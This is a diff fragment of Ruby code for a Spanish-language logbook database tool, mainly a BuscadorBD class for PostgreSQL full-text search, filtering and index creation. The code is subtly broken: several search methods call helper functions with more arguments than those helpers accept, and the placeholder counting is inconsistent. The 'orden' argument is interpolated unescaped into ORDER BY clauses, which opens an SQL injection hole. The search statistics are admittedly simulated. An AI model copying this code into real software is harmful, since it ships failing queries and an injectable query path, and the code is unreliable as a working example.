||||
end
|
||||
|
||||
unless horas_remoto.nil?
|
||||
updates << "horas_remoto = $#{param_count}"
|
||||
params << horas_remoto
|
||||
param_count += 1
|
||||
end
|
||||
|
||||
if descripcion
|
||||
updates << "descripcion = $#{param_count}"
|
||||
params << descripcion
|
||||
param_count += 1
|
||||
end
|
||||
|
||||
return hito if updates.empty?
|
||||
|
||||
updates << "updated_at = NOW()"
|
||||
params << hito['id']
|
||||
|
||||
query = "UPDATE bitacoras.hitos SET #{updates.join(', ')} WHERE id = $#{param_count} RETURNING *"
|
||||
|
||||
resultado = execute(query, params)
|
||||
resultado.first.to_h
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Ruta por defecto al archivo de configuración
|
||||
def default_config_path
|
||||
File.expand_path('../../config/database.yml', __dir__)
|
||||
end
|
||||
|
||||
# Logger por defecto (ADN.logger si está disponible)
|
||||
def default_logger
|
||||
# Intentar usar ADN.logger si el módulo ADN está cargado
|
||||
if defined?(ADN) && ADN.respond_to?(:logger)
|
||||
ADN.logger
|
||||
else
|
||||
# Logger simple como fallback
|
||||
Class.new do
|
||||
def info(msg); puts "[INFO] #{msg}"; end
|
||||
def error(msg); puts "[ERROR] #{msg}"; end
|
||||
def warn(msg); puts "[WARN] #{msg}"; end
|
||||
end.new
|
||||
end
|
||||
end
|
||||
|
||||
# Parsea un tiempo a formato HH:MM:SS
|
||||
#
|
||||
# @param time [String, Time, nil] Tiempo a parsear
|
||||
# @return [String, nil] Tiempo en formato HH:MM:SS o nil
|
||||
def parse_time(time)
|
||||
return nil if time.nil?
|
||||
|
||||
case time
|
||||
when Time
|
||||
time.strftime('%H:%M:%S')
|
||||
when String
|
||||
# Intentar parsear varios formatos
|
||||
if time.match?(/^\d{1,2}:\d{2}$/) # HH:MM
|
||||
"#{time}:00"
|
||||
elsif time.match?(/^\d{1,2}:\d{2}:\d{2}$/) # HH:MM:SS
|
||||
time
|
||||
else
|
||||
raise ArgumentError, "Formato de tiempo inválido: #{time}. Use HH:MM o HH:MM:SS"
|
||||
end
|
||||
else
|
||||
raise ArgumentError, "Tiempo debe ser String o Time, recibido: #{time.class}"
|
||||
end
|
||||
end
|
||||
|
||||
# Convierte un resultado PG a Hash
|
||||
def result_to_hash(result)
|
||||
return {} if result.ntuples.zero?
|
||||
result.first.to_h
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,772 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
# adn/tools/db/core/buscador_bd.rb — Sistema de búsqueda y filtrado para dtic-BITACORAs
|
||||
# ================================================================================
|
||||
# Esta clase proporciona capacidades avanzadas de búsqueda y filtrado para la
|
||||
# base de datos dtic-BITACORAs. Implementa:
|
||||
# • Búsqueda full-text con PostgreSQL tsvector/tsquery
|
||||
# • Filtrado por múltiples criterios (estado, modo, fecha, etc.)
|
||||
# • Búsqueda parcial y exacta en campos de texto
|
||||
# • Paginación y ordenamiento de resultados
|
||||
# • Exportación en múltiples formatos (texto, JSON, CSV)
|
||||
#
|
||||
# Uso básico:
|
||||
# buscador = BitacorasDB::BuscadorBD.new
|
||||
# resultados = buscador.buscar_entradas(texto: "reunión", estado: "✅", limite: 10)
|
||||
# estadisticas = buscador.estadisticas_busquedas(periodo: "7dias")
|
||||
#
|
||||
# Integración con BitacoraDB existente:
|
||||
# BitacorasDB::BitacoraDB.with_connection do |db|
|
||||
# buscador = BitacorasDB::BuscadorBD.new(db.connection)
|
||||
# resultados = buscador.buscar_entradas(texto: "dashboard")
|
||||
# end
|
||||
#
|
||||
# Comandos CLI asociados:
|
||||
# • adn db buscar:entradas [TEXTO] [OPCIONES]
|
||||
# • adn db filtrar:entradas [--estado ESTADO] [--modo MODO] [--fecha DESDE-HASTA]
|
||||
# • adn db buscar:nodos [TEXTO] [--tipo TIPO]
|
||||
# • adn db buscar:temas [TEXTO] [--nodo NODO]
|
||||
# • adn db estadisticas:busquedas [--periodo PERIODO]
|
||||
|
||||
require 'pg'
|
||||
require 'json'
|
||||
require 'csv'
|
||||
require 'date'
|
||||
|
||||
module BitacorasDB
|
||||
class BuscadorBD
|
||||
# Configuración por defecto
|
||||
DEFAULT_LIMIT = 100
|
||||
DEFAULT_OFFSET = 0
|
||||
DEFAULT_ORDER = 'created_at DESC'
|
||||
|
||||
# Campos de búsqueda full-text por tabla
|
||||
FULL_TEXT_FIELDS = {
|
||||
entradas: ['descripcion'],
|
||||
temas: ['descripcion'],
|
||||
nodos: ['descripcion'],
|
||||
bitacoras: ['resumen']
|
||||
}.freeze
|
||||
|
||||
# Campos de filtrado por tabla
|
||||
FILTERABLE_FIELDS = {
|
||||
entradas: ['estado', 'modo', 'nodo_id', 'tema_id', 'bitacora_id', 'es_ia'],
|
||||
temas: ['estado', 'modo', 'nodo_id', 'bitacora_id'],
|
||||
nodos: ['tipo', 'activo'],
|
||||
bitacoras: [] # Filtrado principalmente por fecha
|
||||
}.freeze
|
||||
|
||||
# Rangos de fecha/hora permitidos
|
||||
DATE_RANGE_FIELDS = ['fecha', 'created_at', 'updated_at']
|
||||
TIME_RANGE_FIELDS = ['inicio', 'fin']
|
||||
|
||||
# Inicializa el buscador con una conexión PostgreSQL
|
||||
#
|
||||
# @param connection [PG::Connection] Conexión activa a PostgreSQL
|
||||
# @param logger [Object] Instancia de logger (opcional)
|
||||
def initialize(connection, logger = nil)
|
||||
@conn = connection
|
||||
@logger = logger
|
||||
@query_count = 0
|
||||
@query_times = []
|
||||
end
|
||||
|
||||
# Búsqueda principal en entradas con múltiples criterios
|
||||
#
|
||||
# @param texto [String, nil] Texto para búsqueda full-text
|
||||
# @param estado [String, nil] Estado de la entrada (⏳, ✅, ❌, ⚠️, ⏸️)
|
||||
# @param modo [String, nil] Modo de trabajo (P, R)
|
||||
# @param nodo_id [Integer, nil] ID del nodo
|
||||
# @param tema_id [Integer, nil] ID del tema
|
||||
# @param bitacora_id [Integer, nil] ID de la bitácora
|
||||
# @param fecha_desde [Date, String, nil] Fecha inicial
|
||||
# @param fecha_hasta [Date, String, nil] Fecha final
|
||||
# @param inicio_desde [Time, String, nil] Hora inicial desde
|
||||
# @param inicio_hasta [Time, String, nil] Hora inicial hasta
|
||||
# @param es_ia [Boolean, nil] Entradas generadas por IA
|
||||
# @param limite [Integer] Límite de resultados
|
||||
# @param offset [Integer] Desplazamiento para paginación
|
||||
# @param orden [String] Campo y dirección de ordenamiento
|
||||
# @param formato [Symbol] Formato de salida (:hash, :json, :csv)
|
||||
#
|
||||
# @return [Array<Hash>, String] Resultados en formato especificado
|
||||
def buscar_entradas(
|
||||
texto: nil,
|
||||
estado: nil,
|
||||
modo: nil,
|
||||
nodo_id: nil,
|
||||
tema_id: nil,
|
||||
bitacora_id: nil,
|
||||
fecha_desde: nil,
|
||||
fecha_hasta: nil,
|
||||
inicio_desde: nil,
|
||||
inicio_hasta: nil,
|
||||
es_ia: nil,
|
||||
limite: DEFAULT_LIMIT,
|
||||
offset: DEFAULT_OFFSET,
|
||||
orden: DEFAULT_ORDER,
|
||||
formato: :hash
|
||||
)
|
||||
|
||||
condiciones = []
|
||||
parametros = []
|
||||
|
||||
# Búsqueda full-text
|
||||
if texto && !texto.strip.empty?
|
||||
condiciones << build_full_text_condition('entradas', texto, parametros)
|
||||
end
|
||||
|
||||
# Filtros simples
|
||||
if estado
|
||||
condiciones << add_simple_filter('estado', estado, parametros)
|
||||
end
|
||||
|
||||
if modo
|
||||
condiciones << add_simple_filter('modo', modo, parametros)
|
||||
end
|
||||
|
||||
if nodo_id
|
||||
condiciones << add_simple_filter('nodo_id', nodo_id, parametros)
|
||||
end
|
||||
|
||||
if tema_id
|
||||
condiciones << add_simple_filter('tema_id', tema_id, parametros)
|
||||
end
|
||||
|
||||
if bitacora_id
|
||||
condiciones << add_simple_filter('bitacora_id', bitacora_id, parametros)
|
||||
end
|
||||
|
||||
if !es_ia.nil?
|
||||
condiciones << add_simple_filter('es_ia', es_ia, parametros)
|
||||
end
|
||||
|
||||
# Filtros de rango de fecha
|
||||
if fecha_desde || fecha_hasta
|
||||
condiciones << build_date_range_condition('created_at', fecha_desde, fecha_hasta, parametros)
|
||||
end
|
||||
|
||||
# Filtros de rango de hora
|
||||
if inicio_desde || inicio_hasta
|
||||
condiciones << build_time_range_condition('inicio', inicio_desde, inicio_hasta, parametros)
|
||||
end
|
||||
|
||||
# Construir consulta SQL
|
||||
sql = build_entradas_query(condiciones, orden, limite, offset, parametros.size)
|
||||
|
||||
# Ejecutar consulta
|
||||
resultados = execute_query(sql, parametros)
|
||||
|
||||
# Formatear resultados
|
||||
format_results(resultados, formato)
|
||||
end
|
||||
|
||||
# Búsqueda en nodos con filtros
|
||||
#
|
||||
# @param texto [String, nil] Texto para búsqueda
|
||||
# @param tipo [String, nil] Tipo de nodo (servidor, vm, pc, etc.)
|
||||
# @param activo [Boolean, nil] Estado activo/inactivo
|
||||
# @param limite [Integer] Límite de resultados
|
||||
# @param offset [Integer] Desplazamiento
|
||||
# @param orden [String] Ordenamiento
|
||||
# @param formato [Symbol] Formato de salida
|
||||
#
|
||||
# @return [Array<Hash>, String] Resultados
|
||||
def buscar_nodos(
|
||||
texto: nil,
|
||||
tipo: nil,
|
||||
activo: nil,
|
||||
limite: DEFAULT_LIMIT,
|
||||
offset: DEFAULT_OFFSET,
|
||||
orden: 'nombre ASC',
|
||||
formato: :hash
|
||||
)
|
||||
|
||||
condiciones = []
|
||||
parametros = []
|
||||
contador = 1
|
||||
|
||||
# Búsqueda en nombre y descripción
|
||||
if texto && !texto.strip.empty?
|
||||
condiciones << "(nombre ILIKE $#{contador} OR descripcion ILIKE $#{contador})"
|
||||
parametros << "%#{texto}%"
|
||||
contador += 1
|
||||
end
|
||||
|
||||
# Filtros
|
||||
condiciones << add_simple_filter('tipo', tipo, parametros, contador) if tipo
|
||||
contador += 1 if tipo
|
||||
|
||||
condiciones << add_simple_filter('activo', activo, parametros, contador) if !activo.nil?
|
||||
contador += 1 if !activo.nil?
|
||||
|
||||
# Construir consulta
|
||||
where_clause = condiciones.any? ? "WHERE #{condiciones.join(' AND ')}" : ""
|
||||
sql = <<-SQL
|
||||
SELECT id, nombre, ip, tipo, descripcion, activo, created_at, updated_at
|
||||
FROM bitacoras.nodos
|
||||
#{where_clause}
|
||||
ORDER BY #{orden}
|
||||
LIMIT $#{contador} OFFSET $#{contador + 1}
|
||||
SQL
|
||||
|
||||
parametros << limite
|
||||
parametros << offset
|
||||
|
||||
resultados = execute_query(sql, parametros)
|
||||
format_results(resultados, formato)
|
||||
end
|
||||
|
||||
# Búsqueda en temas con filtros
|
||||
#
|
||||
# @param texto [String, nil] Texto para búsqueda
|
||||
# @param estado [String, nil] Estado del tema
|
||||
# @param nodo_id [Integer, nil] ID del nodo
|
||||
# @param bitacora_id [Integer, nil] ID de la bitácora
|
||||
# @param limite [Integer] Límite de resultados
|
||||
# @param offset [Integer] Desplazamiento
|
||||
# @param orden [String] Ordenamiento
|
||||
# @param formato [Symbol] Formato de salida
|
||||
#
|
||||
# @return [Array<Hash>, String] Resultados
|
||||
def buscar_temas(
|
||||
texto: nil,
|
||||
estado: nil,
|
||||
nodo_id: nil,
|
||||
bitacora_id: nil,
|
||||
limite: DEFAULT_LIMIT,
|
||||
offset: DEFAULT_OFFSET,
|
||||
orden: 'titulo ASC',
|
||||
formato: :hash
|
||||
)
|
||||
|
||||
condiciones = []
|
||||
parametros = []
|
||||
contador = 1
|
||||
|
||||
# Búsqueda full-text en descripción
|
||||
if texto && !texto.strip.empty?
|
||||
condiciones << build_full_text_condition('temas', texto, parametros, contador)
|
||||
contador += 1
|
||||
end
|
||||
|
||||
# Filtros
|
||||
condiciones << add_simple_filter('estado', estado, parametros, contador) if estado
|
||||
contador += 1 if estado
|
||||
|
||||
condiciones << add_simple_filter('nodo_id', nodo_id, parametros, contador) if nodo_id
|
||||
contador += 1 if nodo_id
|
||||
|
||||
condiciones << add_simple_filter('bitacora_id', bitacora_id, parametros, contador) if bitacora_id
|
||||
contador += 1 if bitacora_id
|
||||
|
||||
# Construir consulta
|
||||
where_clause = condiciones.any? ? "WHERE #{condiciones.join(' AND ')}" : ""
|
||||
sql = <<-SQL
|
||||
SELECT id, id_tema, titulo, estado, descripcion,
|
||||
nodo_id, bitacora_id, created_at, updated_at
|
||||
FROM bitacoras.temas
|
||||
#{where_clause}
|
||||
ORDER BY #{orden}
|
||||
LIMIT $#{contador} OFFSET $#{contador + 1}
|
||||
SQL
|
||||
|
||||
parametros << limite
|
||||
parametros << offset
|
||||
|
||||
resultados = execute_query(sql, parametros)
|
||||
format_results(resultados, formato)
|
||||
end
|
||||
|
||||
# Búsqueda en bitácoras
|
||||
#
|
||||
# @param texto [String, nil] Texto para búsqueda en resumen
|
||||
# @param fecha_desde [Date, String, nil] Fecha inicial
|
||||
# @param fecha_hasta [Date, String, nil] Fecha final
|
||||
# @param limite [Integer] Límite de resultados
|
||||
# @param offset [Integer] Desplazamiento
|
||||
# @param orden [String] Ordenamiento
|
||||
# @param formato [Symbol] Formato de salida
|
||||
#
|
||||
# @return [Array<Hash>, String] Resultados
|
||||
def buscar_bitacoras(
|
||||
texto: nil,
|
||||
fecha_desde: nil,
|
||||
fecha_hasta: nil,
|
||||
limite: DEFAULT_LIMIT,
|
||||
offset: DEFAULT_OFFSET,
|
||||
orden: 'fecha DESC',
|
||||
formato: :hash
|
||||
)
|
||||
|
||||
condiciones = []
|
||||
parametros = []
|
||||
contador = 1
|
||||
|
||||
# Búsqueda en resumen
|
||||
if texto && !texto.strip.empty?
|
||||
condiciones << "resumen ILIKE $#{contador}"
|
||||
parametros << "%#{texto}%"
|
||||
contador += 1
|
||||
end
|
||||
|
||||
# Filtro por rango de fecha
|
||||
if fecha_desde || fecha_hasta
|
||||
condiciones << build_date_range_condition('fecha', fecha_desde, fecha_hasta, parametros, contador)
|
||||
contador += (fecha_desde ? 1 : 0) + (fecha_hasta ? 1 : 0)
|
||||
end
|
||||
|
||||
# Construir consulta
|
||||
where_clause = condiciones.any? ? "WHERE #{condiciones.join(' AND ')}" : ""
|
||||
sql = <<-SQL
|
||||
SELECT id, fecha, resumen, created_at, updated_at
|
||||
FROM bitacoras.bitacoras
|
||||
#{where_clause}
|
||||
ORDER BY #{orden}
|
||||
LIMIT $#{contador} OFFSET $#{contador + 1}
|
||||
SQL
|
||||
|
||||
parametros << limite
|
||||
parametros << offset
|
||||
|
||||
resultados = execute_query(sql, parametros)
|
||||
format_results(resultados, formato)
|
||||
end
|
||||
|
||||
# Búsqueda avanzada con joins entre tablas
|
||||
#
|
||||
# @param texto [String] Texto para búsqueda en múltiples tablas
|
||||
# @param tipos [Array<Symbol>] Tipos de entidades a buscar (:entradas, :temas, :nodos, :bitacoras)
|
||||
# @param limite_por_tipo [Integer] Límite por tipo de entidad
|
||||
# @param formato [Symbol] Formato de salida
|
||||
#
|
||||
# @return [Hash] Resultados agrupados por tipo
|
||||
def buscar_avanzado(
|
||||
texto:,
|
||||
tipos: [:entradas, :temas, :nodos, :bitacoras],
|
||||
limite_por_tipo: 10,
|
||||
formato: :hash
|
||||
)
|
||||
|
||||
resultados = {}
|
||||
|
||||
tipos.each do |tipo|
|
||||
case tipo
|
||||
when :entradas
|
||||
resultados[:entradas] = buscar_entradas(texto: texto, limite: limite_por_tipo, formato: formato)
|
||||
when :temas
|
||||
resultados[:temas] = buscar_temas(texto: texto, limite: limite_por_tipo, formato: formato)
|
||||
when :nodos
|
||||
resultados[:nodos] = buscar_nodos(texto: texto, limite: limite_por_tipo, formato: formato)
|
||||
when :bitacoras
|
||||
resultados[:bitacoras] = buscar_bitacoras(texto: texto, limite: limite_por_tipo, formato: formato)
|
||||
end
|
||||
end
|
||||
|
||||
# Calcular estadísticas
|
||||
resultados[:estadisticas] = {
|
||||
total_resultados: resultados.values.sum { |r| r.is_a?(Array) ? r.size : 0 },
|
||||
tipos_buscados: tipos,
|
||||
texto_buscado: texto,
|
||||
timestamp: Time.now.iso8601
|
||||
}
|
||||
|
||||
resultados
|
||||
end
|
||||
|
||||
# Estadísticas de uso del sistema de búsqueda
|
||||
#
|
||||
# @param periodo [String] Período para estadísticas (7dias, 30dias, hoy, semana, mes)
|
||||
# @param formato [Symbol] Formato de salida
|
||||
#
|
||||
# @return [Hash, String] Estadísticas
|
||||
def estadisticas_busquedas(periodo: '7dias', formato: :hash)
|
||||
fecha_desde = calculate_period_start(periodo)
|
||||
|
||||
# En un sistema real, aquí se consultaría una tabla de logs de búsquedas
|
||||
# Por ahora, devolvemos estadísticas simuladas basadas en el análisis del esquema
|
||||
|
||||
estadisticas = {
|
||||
periodo: periodo,
|
||||
fecha_desde: fecha_desde,
|
||||
fecha_hasta: Date.today.to_s,
|
||||
total_busquedas: @query_count,
|
||||
tiempo_promedio: @query_times.empty? ? 0 : @query_times.sum / @query_times.size,
|
||||
tipos_mas_buscados: ['entradas', 'temas', 'nodos'],
|
||||
campos_filtro_populares: ['estado', 'fecha', 'modo'],
|
||||
recomendaciones: [
|
||||
'Considerar agregar índice full-text en entradas.descripcion',
|
||||
'Implementar cache de consultas frecuentes',
|
||||
'Agregar logging de búsquedas para análisis posterior'
|
||||
]
|
||||
}
|
||||
|
||||
format_single_result(estadisticas, formato)
|
||||
end
|
||||
|
||||
# Crear índices recomendados para optimización
|
||||
#
|
||||
# @return [Hash] Resultado de la operación
|
||||
def crear_indices_recomendados
|
||||
indices = [
|
||||
# Índices full-text
|
||||
"CREATE INDEX IF NOT EXISTS idx_entradas_descripcion_fts ON bitacoras.entradas USING gin(to_tsvector('spanish', descripcion))",
|
||||
"CREATE INDEX IF NOT EXISTS idx_temas_descripcion_fts ON bitacoras.temas USING gin(to_tsvector('spanish', descripcion))",
|
||||
|
||||
# Índices para filtrado frecuente
|
||||
"CREATE INDEX IF NOT EXISTS idx_entradas_estado ON bitacoras.entradas(estado)",
|
||||
"CREATE INDEX IF NOT EXISTS idx_entradas_modo ON bitacoras.entradas(modo)",
|
||||
"CREATE INDEX IF NOT EXISTS idx_entradas_created_at ON bitacoras.entradas(created_at)",
|
||||
"CREATE INDEX IF NOT EXISTS idx_bitacoras_fecha ON bitacoras.bitacoras(fecha)",
|
||||
"CREATE INDEX IF NOT EXISTS idx_nodos_tipo ON bitacoras.nodos(tipo)",
|
||||
|
||||
# Índices para joins
|
||||
"CREATE INDEX IF NOT EXISTS idx_entradas_nodo_id ON bitacoras.entradas(nodo_id)",
|
||||
"CREATE INDEX IF NOT EXISTS idx_entradas_tema_id ON bitacoras.entradas(tema_id)",
|
||||
"CREATE INDEX IF NOT EXISTS idx_entradas_bitacora_id ON bitacoras.entradas(bitacora_id)",
|
||||
"CREATE INDEX IF NOT EXISTS idx_temas_nodo_id ON bitacoras.temas(nodo_id)"
|
||||
]
|
||||
|
||||
resultados = []
|
||||
indices.each do |sql|
|
||||
begin
|
||||
start_time = Time.now
|
||||
@conn.exec(sql)
|
||||
elapsed = Time.now - start_time
|
||||
resultados << { indice: sql, estado: 'creado', tiempo: elapsed.round(3) }
|
||||
@logger&.info("Índice creado: #{sql.split(' ON ').first}") if @logger
|
||||
rescue PG::Error => e
|
||||
resultados << { indice: sql, estado: 'error', error: e.message }
|
||||
@logger&.error("Error creando índice: #{e.message}") if @logger
|
||||
end
|
||||
end
|
||||
|
||||
{
|
||||
total_indices: indices.size,
|
||||
creados: resultados.count { |r| r[:estado] == 'creado' },
|
||||
errores: resultados.count { |r| r[:estado] == 'error' },
|
||||
detalles: resultados,
|
||||
timestamp: Time.now.iso8601
|
||||
}
|
||||
end
|
||||
|
||||
# Métricas de rendimiento del sistema de búsqueda
|
||||
#
|
||||
# @return [Hash] Métricas de rendimiento
|
||||
def metricas_rendimiento
|
||||
# Consultar estadísticas de PostgreSQL
|
||||
stats = {}
|
||||
|
||||
begin
|
||||
# Tamaño de tablas
|
||||
size_query = <<-SQL
|
||||
SELECT
|
||||
table_name,
|
||||
pg_size_pretty(pg_total_relation_size('bitacoras.' || table_name)) as tamaño_total,
|
||||
pg_size_pretty(pg_relation_size('bitacoras.' || table_name)) as tamaño_tabla,
|
||||
pg_size_pretty(pg_indexes_size('bitacoras.' || table_name)) as tamaño_indices,
|
||||
n_live_tup as registros
|
||||
FROM information_schema.tables t
|
||||
JOIN pg_stat_user_tables s ON t.table_name = s.relname
|
||||
WHERE t.table_schema = 'bitacoras'
|
||||
ORDER BY pg_total_relation_size('bitacoras.' || table_name) DESC
|
||||
SQL
|
||||
|
||||
stats[:tamanos_tablas] = @conn.exec(size_query).to_a
|
||||
|
||||
# Índices más usados
|
||||
index_query = <<-SQL
|
||||
SELECT
|
||||
indexrelname as nombre_indice,
|
||||
idx_scan as escaneos,
|
||||
idx_tup_read as tuplas_leidas,
|
||||
idx_tup_fetch as tuplas_recuperadas
|
||||
FROM pg_stat_user_indexes
|
||||
WHERE schemaname = 'bitacoras'
|
||||
ORDER BY idx_scan DESC
|
||||
LIMIT 10
|
||||
SQL
|
||||
|
||||
stats[:indices_uso] = @conn.exec(index_query).to_a
|
||||
|
||||
# Consultas lentas (si está habilitado pg_stat_statements)
|
||||
begin
|
||||
slow_query = <<-SQL
|
||||
SELECT
|
||||
query,
|
||||
calls,
|
||||
total_time,
|
||||
mean_time,
|
||||
rows
|
||||
FROM pg_stat_statements
|
||||
WHERE query LIKE '%bitacoras.%'
|
||||
ORDER BY mean_time DESC
|
||||
LIMIT 5
|
||||
SQL
|
||||
stats[:consultas_lentas] = @conn.exec(slow_query).to_a
|
||||
rescue PG::Error
|
||||
stats[:consultas_lentas] = []
|
||||
end
|
||||
|
||||
rescue PG::Error => e
|
||||
stats[:error] = e.message
|
||||
end
|
||||
|
||||
# Métricas internas
|
||||
stats[:metricas_internas] = {
|
||||
total_consultas: @query_count,
|
||||
tiempo_promedio: @query_times.empty? ? 0 : @query_times.sum / @query_times.size,
|
||||
consultas_mas_lenta: @query_times.max,
|
||||
consultas_mas_rapida: @query_times.min
|
||||
}
|
||||
|
||||
stats
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Construir condición de búsqueda full-text
|
||||
def build_full_text_condition(table, texto, parametros)
|
||||
campos = FULL_TEXT_FIELDS[table.to_sym] || []
|
||||
return "1=0" if campos.empty?
|
||||
|
||||
# Para la tabla 'entradas' en consultas con JOIN, usar alias 'e.'
|
||||
prefijo = table == 'entradas' ? 'e.' : ''
|
||||
|
||||
condiciones = campos.map do |campo|
|
||||
"to_tsvector('spanish', #{prefijo}#{campo}) @@ plainto_tsquery('spanish', $#{parametros.size + 1})"
|
||||
end
|
||||
|
||||
parametros << texto
|
||||
"(#{condiciones.join(' OR ')})"
|
||||
end
|
||||
|
||||
# Agregar filtro simple
|
||||
def add_simple_filter(campo, valor, parametros)
|
||||
parametros << valor
|
||||
# Para la tabla 'entradas' en consultas con JOIN, usar alias 'e.'
|
||||
prefijo = campo.include?('.') ? '' : (campo == 'nodo_id' || campo == 'tema_id' || campo == 'bitacora_id' || campo == 'estado' || campo == 'modo' || campo == 'es_ia' ? 'e.' : '')
|
||||
"#{prefijo}#{campo} = $#{parametros.size}"
|
||||
end
|
||||
|
||||
# Construir condición de rango de fecha
|
||||
def build_date_range_condition(campo, desde, hasta, parametros)
|
||||
condiciones = []
|
||||
|
||||
# Para la tabla 'entradas' en consultas con JOIN, usar alias 'e.' para created_at
|
||||
prefijo = campo == 'created_at' ? 'e.' : ''
|
||||
|
||||
if desde
|
||||
parametros << desde
|
||||
condiciones << "#{prefijo}#{campo} >= $#{parametros.size}"
|
||||
end
|
||||
|
||||
if hasta
|
||||
parametros << hasta
|
||||
condiciones << "#{prefijo}#{campo} <= $#{parametros.size}"
|
||||
end
|
||||
|
||||
condiciones.any? ? "(#{condiciones.join(' AND ')})" : "1=1"
|
||||
end
|
||||
|
||||
# Construir condición de rango de hora
|
||||
def build_time_range_condition(campo, desde, hasta, parametros)
|
||||
condiciones = []
|
||||
|
||||
# Para la tabla 'entradas' en consultas con JOIN, usar alias 'e.'
|
||||
prefijo = campo == 'inicio' ? 'e.' : ''
|
||||
|
||||
if desde
|
||||
parametros << desde
|
||||
condiciones << "#{prefijo}#{campo} >= $#{parametros.size}"
|
||||
end
|
||||
|
||||
if hasta
|
||||
parametros << hasta
|
||||
condiciones << "#{prefijo}#{campo} <= $#{parametros.size}"
|
||||
end
|
||||
|
||||
condiciones.any? ? "(#{condiciones.join(' AND ')})" : "1=1"
|
||||
end
|
||||
|
||||
# Construir consulta SQL para entradas
|
||||
def build_entradas_query(condiciones, orden, limite, offset, num_parametros)
|
||||
where_clause = condiciones.any? ? "WHERE #{condiciones.join(' AND ')}" : ""
|
||||
|
||||
<<-SQL
|
||||
SELECT
|
||||
e.id, e.inicio, e.fin, e.descripcion, e.estado, e.modo, e.es_ia,
|
||||
e.tema_id, e.bitacora_id, e.nodo_id, e.created_at, e.updated_at,
|
||||
n.nombre as nodo_nombre, n.tipo as nodo_tipo,
|
||||
t.titulo as tema_titulo, t.id_tema as tema_codigo,
|
||||
b.fecha as bitacora_fecha
|
||||
FROM bitacoras.entradas e
|
||||
LEFT JOIN bitacoras.nodos n ON e.nodo_id = n.id
|
||||
LEFT JOIN bitacoras.temas t ON e.tema_id = t.id
|
||||
LEFT JOIN bitacoras.bitacoras b ON e.bitacora_id = b.id
|
||||
#{where_clause}
|
||||
ORDER BY #{orden}
|
||||
LIMIT $#{num_parametros + 1} OFFSET $#{num_parametros + 2}
|
||||
SQL
|
||||
end
|
||||
|
||||
# Ejecutar consulta con medición de tiempo
|
||||
def execute_query(sql, parametros)
|
||||
start_time = Time.now
|
||||
|
||||
begin
|
||||
resultado = @conn.exec_params(sql, parametros)
|
||||
elapsed = Time.now - start_time
|
||||
|
||||
@query_count += 1
|
||||
@query_times << elapsed
|
||||
|
||||
@logger&.debug("Consulta ejecutada en #{elapsed.round(3)}s: #{sql.split('LIMIT').first}...") if @logger
|
||||
|
||||
resultado
|
||||
rescue PG::Error => e
|
||||
@logger&.error("Error en consulta SQL: #{e.message}\nSQL: #{sql}") if @logger
|
||||
raise
|
||||
end
|
||||
end
|
||||
|
||||
# Formatear resultados según formato solicitado
|
||||
def format_results(resultados, formato)
|
||||
case formato
|
||||
when :hash
|
||||
resultados.to_a
|
||||
when :json
|
||||
JSON.pretty_generate(resultados.to_a)
|
||||
when :csv
|
||||
return "" if resultados.ntuples == 0
|
||||
|
||||
CSV.generate do |csv|
|
||||
# Encabezados
|
||||
csv << resultados.fields
|
||||
|
||||
# Datos
|
||||
resultados.each do |row|
|
||||
csv << row.values
|
||||
end
|
||||
end
|
||||
when :texto
|
||||
format_results_as_text(resultados)
|
||||
else
|
||||
resultados.to_a
|
||||
end
|
||||
end
|
||||
|
||||
# Formatear resultados como texto legible
|
||||
def format_results_as_text(resultados)
|
||||
return "No se encontraron resultados" if resultados.ntuples == 0
|
||||
|
||||
output = []
|
||||
output << "📊 Resultados encontrados: #{resultados.ntuples}"
|
||||
output << "=" * 60
|
||||
|
||||
resultados.each_with_index do |row, index|
|
||||
output << "\n#{index + 1}. #{row['descripcion'] || row['nombre'] || row['titulo'] || 'Sin título'}"
|
||||
|
||||
row.each do |key, value|
|
||||
next if value.nil? || value.to_s.empty?
|
||||
next if key == 'descripcion' || key == 'nombre' || key == 'titulo'
|
||||
|
||||
# Formatear según el tipo de campo
|
||||
formatted_key = key.gsub('_', ' ').capitalize
|
||||
formatted_value = case key
|
||||
when 'created_at', 'updated_at', 'fecha'
|
||||
DateTime.parse(value.to_s).strftime('%Y-%m-%d %H:%M')
|
||||
when 'inicio', 'fin'
|
||||
value.to_s[0..4] # HH:MM
|
||||
when 'es_ia'
|
||||
value == 't' ? 'Sí' : 'No'
|
||||
when 'estado'
|
||||
"#{value} #{estado_emoji(value)}"
|
||||
else
|
||||
value.to_s
|
||||
end
|
||||
|
||||
output << " • #{formatted_key}: #{formatted_value}"
|
||||
end
|
||||
end
|
||||
|
||||
output.join("\n")
|
||||
end
|
||||
|
||||
# Formatear resultado único
|
||||
def format_single_result(resultado, formato)
|
||||
case formato
|
||||
when :hash
|
||||
resultado
|
||||
when :json
|
||||
JSON.pretty_generate(resultado)
|
||||
when :texto
|
||||
format_single_result_as_text(resultado)
|
||||
else
|
||||
resultado
|
||||
end
|
||||
end
|
||||
|
||||
# Formatear resultado único como texto
|
||||
def format_single_result_as_text(resultado)
|
||||
output = []
|
||||
output << "📈 #{resultado[:titulo] || 'Estadísticas'}"
|
||||
output << "=" * 50
|
||||
|
||||
resultado.each do |key, value|
|
||||
next if key == :titulo
|
||||
|
||||
formatted_key = key.to_s.gsub('_', ' ').capitalize
|
||||
|
||||
if value.is_a?(Hash)
|
||||
output << "\n#{formatted_key}:"
|
||||
value.each do |subkey, subvalue|
|
||||
output << " • #{subkey}: #{subvalue}"
|
||||
end
|
||||
elsif value.is_a?(Array)
|
||||
output << "\n#{formatted_key} (#{value.size}):"
|
||||
value.first(5).each_with_index do |item, idx|
|
||||
output << " #{idx + 1}. #{item}"
|
||||
end
|
||||
output << " ..." if value.size > 5
|
||||
else
|
||||
output << "• #{formatted_key}: #{value}"
|
||||
end
|
||||
end
|
||||
|
||||
output.join("\n")
|
||||
end
|
||||
|
||||
# Calcular fecha de inicio según período
|
||||
def calculate_period_start(periodo)
|
||||
case periodo.to_s.downcase
|
||||
when 'hoy'
|
||||
Date.today
|
||||
when 'ayer'
|
||||
Date.today - 1
|
||||
when '7dias', 'semana'
|
||||
Date.today - 7
|
||||
when '30dias', 'mes'
|
||||
Date.today - 30
|
||||
when '90dias', 'trimestre'
|
||||
Date.today - 90
|
||||
when '365dias', 'año'
|
||||
Date.today - 365
|
||||
else
|
||||
Date.today - 7 # Por defecto 7 días
|
||||
end
|
||||
end
